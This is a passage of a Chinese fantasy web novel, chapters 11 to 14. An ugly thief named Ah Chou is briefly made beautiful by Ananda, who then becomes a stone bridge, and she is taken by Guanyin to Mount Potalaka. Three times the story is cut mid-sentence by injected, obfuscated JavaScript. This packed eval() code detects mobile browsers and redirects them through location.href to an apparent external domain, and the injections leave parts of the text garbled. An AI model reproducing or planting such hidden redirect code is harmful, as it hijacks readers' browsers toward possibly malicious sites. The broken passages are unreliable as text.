阿丑问山神:“我还要去落伽山或者雷音寺,都行,就不等哪吒了。你也是神仙,你肯定知道怎么去,能带我去吗。” 山神说:“我是土地神,不能离开这片土地。” 阿丑浑浊的眼睛盯着山神,突然就暴怒,说:“那你一直在这?你就在小渔村边上,为什么你从来不出现帮我。老婆是普度众生对谁都好,哪吒只杀不渡抓妖怪坏人,那你是什么?你为什么从没出现过。” “……”山神回答不出,神仙旁观人世善恶才是常态,可因有普度众生的菩萨在,显得寻常神仙的无情来。 神仙嘛,本就该无情的。 山神尴尬,干脆遁地消失不见了。 阿丑找了一圈没找到山神,三个小动物催促她赶紧离开这吧。阿丑想了想,自己的确是怕死,又偷了那么多次东西,哪吒去小渔村捉妖肯定也会听到大家对她的告状。 阿丑将三个小动物揣进罐子里,随便找了个方向就跑。 不知跑了多远,经过了两个村子,一座山,一条河,途中偷了两碗饭、抢了三个馒头,挨了一顿打,吓到了很多人。 就在阿丑再次想要行窃的时候,一只白白的手拦住了她。 阿丑惊喜,扭头看去,却看见一个光头。 11. 变成美女 也是如同白玉的手,惊喜才浮起又沉下去,阿丑扭头看到一个光秃秃的脑袋,更为失望。 她盯着光头问:“这是你家的饭?” 光头看见她的样貌,愣住好一阵,深吸气道:“你果真就是阿丑吧。” “我是阿丑,你是谁?” “我叫阿难。”光头从对样貌的震惊中回过神来,缓缓道来,“我也是佛门弟子,为菩萨果位,也为阿罗汉。” “阿难……”阿丑跟着念叨了声,觉得有些熟悉,当初跟着老婆背诵莲华经的时候好像听到过这个名字,她不识字,所以为了方便记忆很多陌生词汇都让老婆仔细解释过。 经文她已经记不得多少,只记得老婆说过,阿难是未来成佛,现在,则可谓成佛也可谓尚未圆满。 既然是老婆认识的菩萨,那就是娘家人了。 “桀桀桀——”阿丑高兴地笑了起来,说,“你是不是来接我一起去娘家的?” “什么?”阿难被问住,一时间反应不过来其中的逻辑,只好自顾自解释说,“我是来度你的。”说时看向阿丑手中的饭碗,又言,“这不是你的东西,偷盗乃是重罪,死灰会下地狱受苦的。” “可是,如果我吃不到这碗饭,现在我就在受苦。” “你既然有钱,取走了饭,为何不留下一些钱财作为交换?” 阿丑抱紧了钱罐子,别人有的自己也要有,自己有的却是不愿意给别人的,他们少一个不少,自己少一个就全没了。这个叫阿难的不怀好心,怕不是来抢自己的金子的。 “我不用你度,老婆会度我的。”阿丑这么说着,其实至今都没明白度到底是什么,反正天冷了有炭火就行,那么度一定是好事。 阿难摇头,双手合十,看着阿丑的恐怖面容说:“我可以让你变漂亮,让你也被很多人喜欢。” “真的?”阿丑瞪大了眼睛,她知道小渔村以前有个漂亮姑娘,人们总会送她东西,粮食、衣服、钱财,阿丑经常去漂亮姑娘家里偷东西,但后来有一天去偷东西的时候,那个漂亮姑娘上吊了。 阿丑不伤心,也不理解为什么,那么多的人对她好,她却死了。 此时听到阿难说能够让她变漂亮,能被很多人喜欢,阿丑觉得可以让阿难度自己,便问:“要如何呢?快快度我,我也想要变漂亮,不用我偷就能得到很多东西。” 阿难笑着点点头,通常度人并不直接给予好处,而是让拥有的人失去。比如让一个富豪变成乞丐,若行善足够多,再恢复财富。 但阿难觉得多此一举,直接将人们想要的东西作为目标,行善多了就能得到,不是更简单吗? “只要你今日行一善,就能变漂亮。”阿难将颈上佛珠摘下,轻轻掐下一颗在掌心搓成粉末撒在阿丑的身上,又补充说,“切记,是每日都要行善,一旦哪天做了恶,就会恢复你如今的样貌。往后再行善,也没用了。” 阿丑非常高兴,收了收笑意问:“哪样的事情,算行善呢?”之前老婆让自己整理好头发就算行善了,但自己现在的头发不必梳理,就没了行善的方向。 阿难说:“就从分享开始吧,把你钱罐子里的钱,分出去。” “啊!?”阿丑不愿意,试探问,“只分出去一枚钱,可以吗?我每天给出去一枚,就是每天都在行善。” “呵呵呵,善哉,只要是行善,不以大小而论。”阿难笑着说,又叮嘱道,“十天之后,你若能坚持行善没有作恶,到村外土地庙来找我,我再给你一颗佛珠,可抵消一次过错。” 阿丑非常高兴,桀桀桀怪笑着就跑出去找人分钱,颠簸得罐子里的三个小动物摇头晃脑的。 “善哉。”阿难没有跟着阿丑看她如何行善,而是打算在此地普度,看能不能得到信众。 按照南蟾部洲的风俗律法,只有犯了罪行的人才会被剃光头发,名为髡刑,十分容易受到他人异样的眼光,为便宜行事,阿难化作一个普通青年男子,学着如今世间的“百家”,去传播佛法。 百家有儒家、墨家、法家、名家、兵家……各种学说层出不穷,阿难就称自己是佛家。 这个村镇和小渔村完全不同,空气里不会总有鱼腥味,一条河流穿过村子分为两半,沿河的村民们浣衣闲聊,扛着锄头的农人往田地去劳作,集市里凑热闹的人不少,说着如今的天下局势。 阿丑蹲在集市门口,看着往来的人们,他们偶然瞥到阿丑都露出被惊吓到的表情,阿丑自然不愿意将钱分给他们之中的任何一人。 阿丑心里着急,这么下去自己就没法变漂亮了,便说:“就给下一个经过我眼前的人吧。” 不多时,就有一个砍柴回来的樵夫从阿丑面前经过,阿丑立刻站起来将一枚钱塞到对方手里,说:“给你!” 突如其来的动静吓了樵夫一跳,定睛看向给自己塞钱的人,不由惊得双眼直瞪,喃喃道:“姑娘,你可真漂亮,是外乡来的吗?” 阿丑摸了摸自己的脸,没感到有什么不同。 但是随着樵夫的一声惊叹,集市附近的人都好奇地投来视线,纷纷夸赞这个陌生的美女。 阿丑头一次收到这么多视线的关注,那些人不仅仅是嘴上夸赞,还都围了上来,这场面让阿丑想到了那天老婆变成渔女时的情况。 “姑娘,你从哪来呀?瞧你瘦的,得多吃点呀,我家里有些余粮,去我家里坐坐吧。” “这么漂亮的姑娘,怎么穿得破破烂烂的,来,我铺子里有新裁剪的衣服呢。” 阿丑非常高兴,笑的时候声音都不再是古怪难听的桀桀桀,而是银铃般爽脆的,听在耳朵里都觉得舒服。 阿丑跟着裁缝铺的中年男人去了衣服铺里,对方递过来一件素色的麻布裙裳。阿丑欣然接过,竟直接就脱下破旧衣物要更换,引得铺子外张望的人们一阵惊呼。 “哎哟,姑娘,你去里面换吧。”裁缝铺的店主将阿丑引到里屋换衣服,却还留在屋门口偷看。 阿丑看到了门缝里店主的眼睛,疑惑问:“既然要看,为什么让我躲起来呢?” “……”对方不答,尴尬地走到外面去了。 阿丑换上了干净整洁的裙裳,三个小动物也说阿丑真漂亮,阿丑更得意了。 之后几天,阿丑就照着阿难菩萨所说,每天都给人一枚钱,没有去做坏事。本以为自己会挨饿,没想到总有人请自己吃饭。 但是阿丑一天比一天不高兴,她发现,再也没有人害怕自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629209|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,没有那种走到哪,哪就安静一片的威风。 他们会靠得很近,眼神也不会移开惧怕她的视线,而是直勾勾地,似乎反过来要逼迫她移开视线。 更糟糕的是,有时候自己看着他们的眼睛会感到害怕,明明是人,却越看越像妖怪……对,就像传闻中吃人的妖怪,他们的眼神好像要将她吃掉。 阿丑不明白,想要去找阿难菩萨询问原因。 由于还没到十天,阿难不在村外的土地庙里。阿丑便在村中到处走动寻找,喜欢她美貌的人们就放下农活,跟着她走,阿丑觉得就连走路也不自在了。 阿丑走到一座桥上,看见桥下河滩边,一个面貌和阿难菩萨有些相似的青年,恰好青年也察觉到视线看向桥上。 “喂——”阿丑高兴地挥手,想让阿难注意到这边,然后来告诉自己为什么会如此。 然而,阿难愣在河滩边上。 他的佛珠施下的佛法,改变出来的“美貌”便是最符合他心中所想的样貌,阿难看着桥上的美丽女子,静静观赏。 “哦……认错人了。”阿丑没多想,以为只是恰好长得像,她已经把整个村子都找一遍,或许非得到第十天才能见到阿难菩萨。 阿丑不想当美女了,比起自己害怕那些想要吃掉自己的人,还是让别人害怕自己更舒服。 阿丑随意闯进一户人家,抱走了一只鸭子。老鼠蜘蛛和蛇可惜地摇头,说:“哎呀,阿丑你变回来了。” “啊……你,怎么是你!那个外乡来的美人呢?你抢了她的衣裳!”跟着美女一路过来的人们纷纷指责阿丑,可没人敢靠近。 阿丑看着他们眼里对自己的惧怕非常满意,桀桀桀地笑了起来。 人群一哄而散,分散去找那个十分漂亮,笑起来也很好听的姑娘。 阿丑决定不管阿难菩萨的度了,这根本是害她嘛。她抱着罐子走了些路,却感觉背后还是有视线盯着,这种视线,阿丑非常熟悉,她想要抢东西的时候就这样盯别人。 她低头看了看身上的新衣服,有人想要抢她的新衣服,可他们仍旧不敢动手。 阿丑随意走着打算离开这,继续去找大船。 走到村口,看见一个慈眉善目的老婆婆坐在大树下纳凉,手里正整理着一件破旧的脏衣服,正是她换下来后,被裁缝店店主扔掉的破烂。 “这是我的衣服,给我。”阿丑毫不客气,上前就说。 老婆婆故作为难,指着阿丑身上的干净衣服说:“一件衣服换一件衣服。” “这好办,我正不想要这衣服呢。”阿丑一边说着直接就在村口解衣服。 老婆婆制止,说:“这件干净衣服卖掉了,能买好几件破衣服呢,真的和我换?” “这又不是我的衣服,给你就给你了,我要我的衣服。” 老婆婆垂首淡笑,阿丑不由愣住。 但阿丑不敢问,她已经因为一个眼神认错了英娘,又因为气味认错了哪吒,这个老婆婆虽然笑的时候慈眉善目的,可菩萨这会儿还在娘家呢…… “阿丑,是我误时了。”老婆婆依旧淡笑着说。 什么老婆婆,果真是老婆!! “老婆!!”阿丑高兴地扑过去。 12. 化作石桥 阿丑不懂得拥抱的意思,只知晓当长久离别一次次认错的失望之后,终于再次见到的时候,身体自己就做出了这样的反应。 ——想要,抱住他。 在抱住的一瞬间,将他完全地收拢在自己的怀抱里,阿丑恍惚有些明白了。 就像小时候家里的米缸破了,她和哥哥坐在地上争抢从破洞中漏出来的米,落在中间的米会造成抢夺,两个孩子都以自己的胳膊为领地,只要是被圈在胳膊范围里的米,就是自己的。 那天傍晚,劳作回来的父母看到两个孩子趴在地上圈着散落的米,将米收拾进了麻袋里,她的手里又空了,那些米粮本来就是属于这个家而非她一人的。她看着逐渐装满的麻袋,不管如何,那里有她曾经拥有过的米。 想着,阿丑抱着菩萨的胳膊更收紧了些,菩萨说过,所有佛门弟子都许与佛法,是佛陀的信众。 拥抱,就是“拥有”。 观音无惊无喜,面色如平常一样温润,也没有推开阿丑,只等她抱够了自己松开手,才问:“怎离开渔村来了这里。” 说到这事,阿丑才想起来自己应该先生气,而不是先高兴。她重重哼了一声说:“因为你骗人,是打诳语!我看你一直没回来,就想去找皇帝要一艘大船,去落伽山找你,或者去雷音寺找你。” 观音缓缓点头,又问:“你知道去雷音寺在哪,要走多少路吗?” “不知道。”阿丑认真地说,“不管路多长,只要我走在路上,路就一天天变短,总有到达的时候,我不知道雷音寺在哪,但去雷音寺的路在我脚下。” 春风拂柳,柳叶依依,树下的菩萨含笑,道一声善哉。 她受世间苦楚不曾做多少善事,但这样的悟性慧根却比很多得道高僧更玄妙。 “这些时日,可有什么见闻?”观音问了一声,阿丑便将从离开小渔村开始遇到的神仙开始讲,一直讲到阿难菩萨说要度她,给她施了法变了几日的美女,自己想去找阿难菩萨问为什么她变漂亮后,其他人反而变得可怕了,但找遍了整个村镇,都没找到。 得知阿丑是为了恢复模样才又偷了东西,观音笑意更深。 在普度众生的这些年里,看到过太多执着于容貌的人,他们为了保持年轻、美丽,用尽手段,造下诸多的孽。阿丑长得奇丑无比,因容貌备受恶意,在拥有人人喜爱的美貌后、得到了美貌带来的好处后却能快速主动放弃。 反观阿难,竟因“世上定有不可度之人”而着相,竟还以将阿丑变美作为度人的办法,实非一位菩萨该有的心境。 以俗世关系来说,在出家之前,阿难与释迦摩尼乃是堂兄弟。阿难着相的根本并不是“世间有无不可度之人”,而是跳不出俗世关系,认为堂兄成了佛祖,自己却是个菩萨,因急切反生了叛逆,佛说世无不可度之人,阿难便觉得有。 “阿难不该来南蟾部洲。”观音轻叹一声,指尖一指,阿丑身上的干净衣服就与手中的旧衣物换了换。 阿丑好奇询问为什么,观音说:“他来,便是应劫。” 白玉手掐指一算,便知晓阿难所在,观音仍旧是老婆婆的外貌,穿着一身粗麻短褐,带着阿丑一起去找阿难。 钱罐子里的三只小动物听不懂对话里的玄妙,还在为阿丑又偷东西变回这模样而可惜。 “菩萨,那个阿难能施法,你肯定也能,阿丑变好看的时候可美了。”老鼠吱吱地叫着说。 阿丑摸了摸脸,突然惊呼一声说:“哎呀,我都忘记照照镜子了,不知道那时候是什么模样。” 观音侧首,以为她后悔了,便问:“你想再次变美吗?” “唔……”阿丑沉吟思索一阵,摸了摸自己的脸,“我摸着自己的脸,摸不出有什么不一样,不照镜子的时候就看不到,看不到就不会觉得高兴。”说完又看向还是老婆婆样貌的菩萨,说,“而且,我觉得老婆你最漂亮。” 观音轻笑,又问:“我这模样也漂亮吗?”话语间,又从老婆婆变成了一个驼背满脸是黑痣的老男人。 阿丑先是一愣,随后指着菩萨桀桀桀笑起来,说:“你就是变得再丑,也没有我丑。而且,我知晓是你,你就是变成了一条鱼一只蝴蝶,我看见你时,也记着你原本的样子。” “哦?你当如何辨认?” 阿丑说:“我将可怜我的英娘认错过,又认错了有香味的哪吒。现在我知道了,那些都不是,只有看到我时不害怕,不把我当妖怪的,才是你。如果你是一条鱼,我去池塘照镜子,没有游开的那条就是你,我说的对不对?” “桀桀桀——”阿丑为自己的聪明怪笑起来。 观音点头,又说:“你可否还记得,你带着钱罐子想要离开小渔村的时候,遇到过一个被欺负的丑渔女,那也是我,我那时见到你,也愣住过。”如此询问,是想听阿丑如何辩论,辩论也叫辩禅。 寻常人见到阿丑,愣住后都会想:怎么这么丑这么恐怖,一定是妖怪吧。 菩萨那天愣后所想,则是:她如此丑陋,今生在世将遇到多少的苦厄? 阿丑点头,却没听懂话里的论据,说:“记得,你不但不怕我,还送了我金子。”说时举起手里的罐子晃了晃,三个小动物又是一阵阵头晕眼花。 行走间,又问起菩萨为什么耽搁了那么久,菩萨正要解释,在河滩边看到了阿难。 此时的阿难是束发的青年人模样,腰背笔直地站在河滩边上,看向不远处的一座木桥,他翘首以盼,像是在等什么。 他的目光柔和飘渺,不似反驳佛祖时的坚定,皱起的眉头有些许忧愁。 阿丑盯着这青年人看了看,哦,那天她在桥上打招呼的的确就是阿难菩萨,可那时候阿难菩萨为什么不搭理自己呢? 观音所化的老婆婆来到青年面前,笑着顺视线看过去问:“年轻人,你好像在等谁?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633796|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 青年人说:“我在等一个姑娘,是我见过最美丽的姑娘,老人家,你知道那个姑娘是哪里人吗?”说时视线从木桥上移开,看见了站在老婆婆身边的阿丑,顿时从美好的回忆里惊吓回来。 “阿丑,你……唉,你果真又作恶?十天都不到。”阿难以此下了定论,最丑的人以变化貌美引诱,只需日行一善都做不到,这样的人如何度?岂不就是不可度? 说完,阿难脸上浮现一丝担忧,那天桥上所见的美女该不会是阿丑吧? 他又问:“阿丑,你何时做了坏事?” 阿丑虽无知,不代表人傻,刚才听到阿难说在等一个桥上见过的姑娘,她就猜到阿难是在等那个变漂亮的自己。阿丑觉得阿难菩萨给自己施法是一件坏事,害她都被那么多人盯着,像是要吃掉她一样。 阿难这时候的神情,就像英娘送别她丈夫的时候。 哎呀,糟了,阿难不会也想当自己老婆吧?不要,她才不要多一个坏心眼的老婆呢。所以她绝对不会承认桥上的姑娘就是自己。 阿丑说:“变漂亮的当天,我就肚子饿,去偷了东西。” “唉,冥顽不灵。”阿难念叨了句,又看向她边上的老婆婆,他境界不足,不能看破观音法相,只摇摇头要离开,他想要再见那个美丽的女子一眼。 阿难驾着云,在南蟾部洲找了一圈,就是找不到心上人。 他心中痛苦,已经顾不得什么度人不度人的理念,他回了雷音寺跪在无所不能的佛祖面前请求:“佛祖,我想再见那个姑娘一眼,我喜欢她。” 佛陀缓缓睁眼,眼中慈悲与失望,又有几分预料中的无奈,问:“有多喜欢呢?为了见到她,你能做些什么呢?” 阿难垂目,悲伤道:“我愿化身石桥,受五百年风吹日晒,雨淋雪冻,只求她再从桥上走过。” “阿弥陀佛,此就是你的劫数。”如来闭目,双手合十,一道金光打在阿难身上,往人间落去。 那个不知名的村镇,一座木桥年久失修断裂,村民们正感叹修桥又要耗费许久时间物力,却见空中一道金光洒下,砌成一座石桥。 石桥下,一名老婆婆看了看身边的丑姑娘,无奈道:“你呀。” 阿丑不明所以,满头雾水地皱眉,颇为无辜道:“我怎么了呀,那桥不是我弄塌的呀!我没干坏事!你你你……你不会又想找借口回娘家吧……” “……”观音看着阿难桥,微微摇头。 阿难觉得阿丑面貌丑陋行为粗鄙,度人时以变美引诱,不求证缘故就信她作恶才又变丑,本身就带着对阿丑的偏见,可偏偏他所见的貌美姑娘,就是阿丑。 明明是同一个人,换了美丽的皮囊,阿难却分辨不出来。倘若他真心要度阿丑,不说方法,只要他认真盯着所度之人,早早就能知道阿丑变美后的样子。 合该有此劫。 “阿弥陀佛。”观音摇头轻叹。 13. 抛撒喜钱 阿丑离开小渔村是想要去找老婆回家的,现在找到了,心里头却没有任何回家的想法。 回到那里,会比现在更开心吗?似乎不会。那些讨厌的人,恨着她呢。明明是她通过了菩萨的考验,得到了老婆,可那些没通过考验的人却和被抢钱时一样的眼神。 “我不回去了,我去找皇帝要大船。”阿丑下定了决心,认真地和观音说。 观音方才听她说,离开小渔村是想找大船去落伽山找自己,便问她现在已经找到了为何还要大船。 阿丑说:“我不能等下次你又回了娘家才去找船,找了一会或许你又回来了,又走了,那样的话,我总是在找船的路上,我不想总是找船,船又不是我老婆。” 菩萨又问:“我让你跟随我往落伽山修行时,你不肯。若是往落伽山去寻我,就不怕,再也回不了家吗?” 这让阿丑好一阵思索,她在背诵经文的时候听菩萨说过,修行是一件很苦的事,很多东西都不能吃,很多事情都不能做,要是不小心踩死蚂蚁都要背上罪孽,她自然是不愿意吃苦的,这辈子已经吃了很多苦了。 阿丑试探地问:“留在落伽山……不修行,会怎样?” “不会怎样。”菩萨回答。人容易被环境影响,她若到了落伽山,在清幽之地,自然也能静下心来,那里一草一木一切生灵,都聪慧善良,阿丑和它们相处久了,潜移默化也算修行。 “那我去!我们一起回落伽山吧,那里是神仙住的地方,肯定很好,我也能当神仙吗?” “当神仙,需要修行。”观音淡笑引导。 “那不当了。”阿丑毫不犹豫就拒绝。 观音无奈摇头,先带她去落伽山。自己接了如来法旨,还要往各地去筹备传化事宜,暂且让善财龙女教她一些善恶是非。 站在石桥下的老婆婆变成了素衣白纱、头戴宝珠金冠、手上菩提珠串、颈垂流苏璎珞,华光宝气的仙人。 一手端杨柳净瓶,一手持洁白拂尘,不言语,脚下腾起祥云,已然离地。 “咦?!”阿丑惊得差点没站稳,连忙抱住老婆的腰,手里的钱罐子因此脱手落下去,罐子里三个小动物惊恐地叫起来。 “去。”观音拂尘一挥,卷起一阵微风将三个小动物卷住漂浮在空中。 它们得了甘露而开灵智,又听了几日经,受佛法熏陶,也算是半只脚在佛门,既是有此等机缘,若愿意修行向善,将来也能修成正果。 拂尘又一挥,微风将三个小动物也卷到了祥云上。 阿丑桀桀桀笑着说:“老婆真好,没忘记给我带上吃的。” 三个小动物气急败坏地叫起来:“阿丑!你还想着吃我们!” 地面人群忽一阵哄闹,阿丑低头往下看,看到人们在哄抢地上的钱币,尤其是那一块金子。三个小动物是被接住了,但钱罐子落在地上摔碎,钱迸溅开来,像是仙人给的施舍。 “我的钱!我的金子!”阿丑惨叫起来,甚至想要从云上跳下去把钱抢回来,被观音阻止了。 祥云悬停在一定的高度没有立刻离开,菩萨静静看着为了金钱而抢夺的人们,普通的钱币他们到了手中就不会再抢,而那金子,即便是牢牢捏在手里,别人也会来抢,最终,金子滚落到河中没了踪影。 有人不死心跟着跳下去,全然忘记了自己不会水的事情,很快就被河水淹没,偶尔挣扎着露出脑袋,被河流越冲越远。 其余人不敢贸然下水相救,而在云端的观音竟也没有相救。 只见那人被河水冲到了石桥的方向,桥下的水流忽然就变得缓慢且改变了方向,当溺水的人穿过桥洞,河流将他推到了河滩上。 阿难虽化石桥,慈悲的心仍旧在,自然会庇佑一方。 “我的钱呀……我的钱……”阿丑哀嚎着,若不是被菩萨拦着此时也跳进河里去捞金子了。 观音说:“既然随我往福地去,当割舍俗财。” 阿丑不听,生气道:“我本就没有什么东西,好不容易有这么一罐子老婆本,凭什么让他们分了。” 虽然罐子里的钱一半是父母给哥哥的,另一半是她偷抢来的,只有那金子是老婆送的所以属于她。 “……”菩萨摇头,寻常道理她是听不进的,只好顺着她的逻辑来引导。 又说:“嗯,既然是老婆本,我嫁给了你,那一罐子钱该算是给我的,是吗?” “……嗯。”阿丑不情不愿地点头。 “钱财乃俗世之物,我将钱财抛弃,希望你以此斩断俗尘。” “……”阿丑低头不语,浑浊的眼睛里满是愤怒,以为这样菩萨就不知道她在瞪地面那些拿了钱的人。 观音只好再次用她能接受的逻辑说:“抛撒喜钱,散财积德。”重点是后面四个字。 “桀桀桀——”阿丑瞬间就高兴地笑起来,她只听前面四个字。喜钱她知道,小渔村办过几次喜事,是分享喜悦,让大家做个见证的意思,那也是难得她去抢钱不被人记恨的时候。 嗯,好吧,那就抛了吧。 断舍了财物,菩萨带着阿丑和三个小动物便往落伽山去。 地面的人们看到仙人远去,纷纷拜谢赐予的钱财,他们有的人家中孩子重病需要钱买药,有的人衣服破烂无法再穿需要换新衣,也有的人饿了两顿饥肠辘辘,但也有人嗜赌成性又拿去下注。 神仙度人一时,人还是得会度己。 云雾飘渺仙境地,霞光晕染开层云。 阿丑蹲坐在云上不敢站起来,祥云飞得那么高那么远,原来天上的神仙眼里的世界是这样的。她一手拽着菩萨的袖摆,一手挖了块祥云品尝,一嘴下去全是水汽。 层层烟云散开,眼前出现了一座美丽的仙山,碧翠环秀,风吹时一片竹林涛声。 “那便是落伽山。” 阿丑着急地站起来,又因太高站不稳而抱住了菩萨,她发现自己越发喜欢这么抱着,不仅仅是离别后相见的瞬间。 祥云落地,一处清幽风景,有九曲回桥,有莲池泉溪瀑布,林间鸟鸣清脆,池中锦鲤吐泡。 一名头上有犄角的美丽女孩前来迎接,双手合十顶礼,道:“恭迎尊者。” 说完,那女孩放下手抬头,看见还抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639922|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菩萨腰间没松手的、样貌丑陋的妖怪,立刻惊得抽出宝剑,道:“何方妖孽,竟敢来落伽山作孽!” “善财。”观音唤了一声,那女孩顿觉羞愧收剑,天底下哪有能纠缠住菩萨的妖怪,可若是个人……这也太丑了。 这女孩便是观音近侍,乃善财龙女,年幼时读《妙法莲华经》早早顿悟成佛,跟随观音修行,其心境却一直跟不上修为。 “弟子知错。”龙女认错,虚心求问,“不知尊客何人?” “我吗?”阿丑这才松了手,颇为骄傲地说,“我是他丈夫呀,跟他一起回娘家来的,先说好,我可不要修行哦。” “……”龙女以为自己听错了,努力去思考是什么名字,难道是叫塔丈府之类的发音?嗯,果然名字也不像个人。回娘家又是什么说法,听上去很容易误会。 龙女看向菩萨求助,担心自己理解错名字而冒犯了尊客,能由菩萨亲自带来落伽山的客人,必然也得是仙家尊贵。 观音不觉有什么问题,淡然道:“我在人间普度,她通过了考验,我便按照约定嫁给了她。” “啊?”龙女捏了捏自己的脸,不是做梦呀。 就在观音与龙女说自己要去办佛祖交代的事,让她先教阿丑善恶是非的时候,阿丑已经自顾自跑去了莲花池边上。 她早就好奇这个莲池里的鱼了,多特别的鱼才能被老婆夸奖。 莲池里,一金尾锦鲤察觉到陌生气息游过来看了看水面,看到了阿丑的面容,吓得一个鲤鱼摆尾溅起诸多水花。 “你朝我泼水。”阿丑觉得这鱼是在挑衅自己,更生气了,她抬起脚就往莲池走去,很快就捉住了那条鱼。 阿丑对着鱼头就邦邦两拳,不悦道:“就你爱听经,真烦。” “……阿丑。”观音摇头,她到底是何时与锦鲤结怨,自己竟完全不知。留她在落伽山,恐怕山上的动物们有点危险。 安排好了龙女教诲阿丑,菩萨将去处理佛祖交代的事。而一听到老婆竟要离开落伽山,阿丑懵了,怎么自己在人间的时候,老婆回娘家,如今来娘家了,老婆又要走呢? “我也去,我的大船还没找到呢。” “你已经在落伽山了,为什么还要大船呢?” “因为我没有大船呀。”阿丑说,“我想要,还没得到,怎么能到了落伽山就不要船了呢。” 观音又说:“我要往国都去,那里律法最严,你若是去了犯事,我也得遵循人间规矩,秉公处理不能救你。” 阿丑犹豫,砍手之类还是怪吓人的,她仔细思索后说:“我偷东西的时候注意点不被人发现就是了。” 菩萨知她非一时能改,还是应下带她一起去国都,另有打算。 等菩萨带着阿丑离开落伽山后,莲池里的锦鲤委屈地浮出水面,与龙女哭诉:“呜呜呜呜……我可是菩萨最喜欢的鱼,那个妖怪打我,菩萨怎么都不为我做主呜呜呜……” 龙女还没说什么,留在原地的三只小动物给阿丑辩解。 老鼠吱吱叫了声:“阿丑不是妖怪!我们才是妖怪!我们哪有阿丑那么丑!” 14. 光明偷心 三只凡尘的小动物来到落伽山后就感受到此地充沛的灵力,既然是菩萨带来的,想必也是有心点化,龙女和锦鲤对它们还是挺友好的。 锦鲤格外骄傲地说自己是菩萨最喜欢的动物,山上别的动物都比不了自己,尤其它的名字,取自菩萨的全称之中,为灵感,代表觉悟与智慧。 “你们叫什么名字。”锦鲤半个脑袋浮在池塘水面上,得意地看着老鼠蜘蛛和蛇。 三个小动物没有名字,阿丑都不认它们当朋友,也没有给它们取名字。 善财龙女视线扫过,看着蛇说:“三百年前紫竹林里也有过一条蛇,后来往人间修行去了。菩萨给它取了个名字,叫白素贞。我看你浑身青绿,就叫青……” “青……?”蛇很是期待地等着名字,但龙女一时半会想不出能等同于白素贞的好名字,也不能自作主张从菩萨的称谓里给一条蛇取名字,因此青了半天憋不出完整的名字来。 最终龙女说:“你就叫小青吧!你才开始修行是个小蛇妖,不该被名号困扰,等你能化成人形,我再向菩萨帮你讨个名号。” “嘶嘶,小青,那我就叫小青了。”蛇高兴地扭来扭去,又看向老鼠和蜘蛛,问它们取什么名字。 龙女后悔多言,取一个名字已经很难,还要再取两个,干脆就顺着现在的风格,看着老鼠说:“你浑身灰色,就叫小灰。”看向蜘蛛,蜘蛛太小,说成什么颜色都不合适,“你就叫小蛛吧。” 与尊客带来的三只宠物认识后,锦鲤问:“你们的主人叫什么,她为什么打我?” 小青说:“嘶嘶,她叫阿丑,不是我们的主人,是我们的朋友。” “哼哼,长得难看,名字也难听。”锦鲤不悦地用尾巴拍打水面。 善财龙女听后微微皱眉,阿丑算什么名字,怎么听都像是别人起的糟名,不过她的确样貌丑陋,即便是有自己的名字,别人也只会那么称她吧。 龙女跟随菩萨修行已久,人间普度时也常有协助,普度众生千年,遇到过冥顽不灵者,也遇到过虔诚皈依者,但所出的考验题目,从来都没有人能够通过。 正因为品行心境残缺不圆满,才需要度化修行,为何通过考验的,那样的一个人呢? 佛家说,前世造的孽,今生都会体现出来,她那么丑那么穷那么苦,前世一定做了很多恶事。 善财龙女看向天上飘渺聚散的云,不明白菩萨为什么要度阿丑,前世造孽,今生受罚,不是理所应当吗? 云中水汽冷意森森,霞光照进染红一片,看上去多了些许暖意。 落伽山往国都去,路程颇远,天上的风吹多了也就不觉得惬意。阿丑缩了缩脖子有点冷,她钻到菩萨的怀里抱着挡风,扒过广袖裹着自己,埋怨道:“老婆,你为什么不像我一样是有温度的呢?那样我抱着你,就能更暖和了。” 菩萨并未接话,只一念之间,周围的风就似完全被挡在外面。 没有了呼啦啦的风,阿丑也没有松开手,她仰头看着眉目慈悲的老婆追问:“为什么呢?为什么神仙没有温度呢?” “因为神佛无情。”菩萨缓缓回答,正因为平等地爱每一个世人,所以对世人而言并未分到半分偏爱,也就是无情。 阿丑不知情为何物,只听懂了菩萨“无”情。她好奇地问:“神仙也有缺东西的时候?这个东西,人有吗?我有吗?” 菩萨说:“人有七情六欲,只有割舍一切,才能成佛成仙。” “七个情六个欲……我有这么多东西呀,它们放在哪呢?”阿丑惊喜,自己竟都不知道,她难得大方说,“既然我有这么多,你却没有,那我就送你……嗯,一个吧!” 菩萨缓缓摇头,说:“七情六欲只在心里。” “心里?”阿丑摸了摸自己的心,这可掏不出来呀,她想了想啧啧两声说,“没关系,你是我老婆嘛,你的就是我的,我的就是你的。” 说完,她想起了英娘的神奇法术。 